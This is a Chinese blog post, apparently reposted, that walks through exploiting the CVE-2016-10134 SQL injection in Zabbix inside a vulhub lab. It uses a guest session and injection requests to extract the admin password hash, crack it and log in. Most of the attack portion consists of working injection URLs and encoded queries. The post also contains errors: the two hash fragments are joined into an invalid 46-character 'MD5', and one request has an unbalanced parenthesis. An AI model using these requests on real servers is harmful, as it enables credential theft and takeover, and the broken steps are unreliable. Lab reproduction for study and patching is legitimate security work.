Zabbix latest.php SQL注入漏洞(CVE-2016-10134)

Posted Jach1n

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Zabbix latest.php SQL注入漏洞(CVE-2016-10134)相关的知识,希望对你有一定的参考价值。

漏洞描述

zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。Zabbix 的latest.php中的toggle_ids[]和jsrpc.php种的profieldx2参数存在sql注入,通过sql注入获取管理员账户密码,进入后台,进行getshell操作。

安全等级

影响版本

zabbix 2.2.x,3.0.0-3.0.3

影响版本

及时更新zabbix至最新版

环境搭建

使用vulhub中的漏洞环境进行测试

启动成功后访问​​http://yourip:8080/​

具体的端口用docker ps命令进行查看,一般是8080

cd /vulhub/zabbix/CVE-2016-10134
docker-compose up -d
docker ps

测试示例

该版本的zabbix默认开启guest账号登录,使用guest可以免密登录

Zabbix

Zabbix

使用burp抓包,将zbx_sessionid的后16位字符做为sid值

得到sid=7b9d88abb06c0fc4

构造语句判断是否存在漏洞,使用burp发送,在返回内容出现ip信息即漏洞存在

GET /latest.php?output=ajax&sid=7b9d88abb06c0fc4&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)

Zabbix

构造sql语句获取用户名和密码

在burp里将sql查询语句进行url编码,最好用burp里的编码工具,网页上的可能没办法对全部字符进行编码

右边选择encode-url

Zabbix

(select concat(alias,0x7e,passwd) from zabbix.users limit 0,1) 
url编码后为:
%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%61%6c%69%61%73%2c%30%78%37%65%2c%70%61%73%73%77%64%29%20%66%72%6f%6d%20%7a%61%62%62%69%78%2e%75%73%65%72%73%20%6c%69%6d%69%74%20%30%2c%31%29

将编码的内容放在"0x7e,"后,burp发送请求内容如下:

GET /jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=
updatexml(0,concat(0x7e,%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%61%6c%69%61%73%2c%30%78%37%65%2c%70%61%73%73%77%64%29%20%66%72%6f%6d%20%7a%61%62%62%69%78%2e%75%73%65%72%73%20%6c%69%6d%69%74%20%30%2c%31%29),0

返回内容里发现账号和密码hash,Admin~5fce1b3e34b520afeffb37ce0,但是密码hash长度不对

Zabbix

修改sql语句获取后半段密码hash

(select concat(alias,0x7e,mid(passwd,12,32)) from zabbix.users limit 0,1)
url编码后为
%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%61%6c%69%61%73%2c%30%78%37%65%2c%6d%69%64%28%70%61%73%73%77%64%2c%31%32%2c%33%32%29%29%20%66%72%6f%6d%20%7a%61%62%62%69%78%2e%75%73%65%72%73%20%6c%69%6d%69%74%20%30%2c%31%29

burp发送请求内容如下:

GET /jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=
updatexml(0,concat(0x7e,%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%61%6c%69%61%73%2c%30%78%37%65%2c%6d%69%64%28%70%61%73%73%77%64%2c%31%32%2c%33%32%29%29%20%66%72%6f%6d%20%7a%61%62%62%69%78%2e%75%73%65%72%73%20%6c%69%6d%69%74%20%30%2c%31%29),0) HTTP/1.1

获取到后半段的hash,520afeffb37ce08c7cd66

Zabbix

将两段hash结合后为:

5fce1b3e34b520afeffb37ce0520afeffb37ce08c7cd66

md5值解密后为zabbix

Zabbix

使用账号Admin/zabbix登录成功

Zabbix





以上是关于Zabbix latest.php SQL注入漏洞(CVE-2016-10134)的主要内容,如果未能解决你的问题,请参考以下文章

zabbix-latest.php-SQL注入漏洞(CVE-2016-10134)

Zabbix latest.php SQL注入漏洞(CVE-2016-10134)

预警Zabbix SQL注入漏洞 威胁预警通告

关于Zabbix漏洞情况的通报

Zabbix-20160817-高危SQL注入漏洞

注意Zabbix高危SQL注入漏洞分析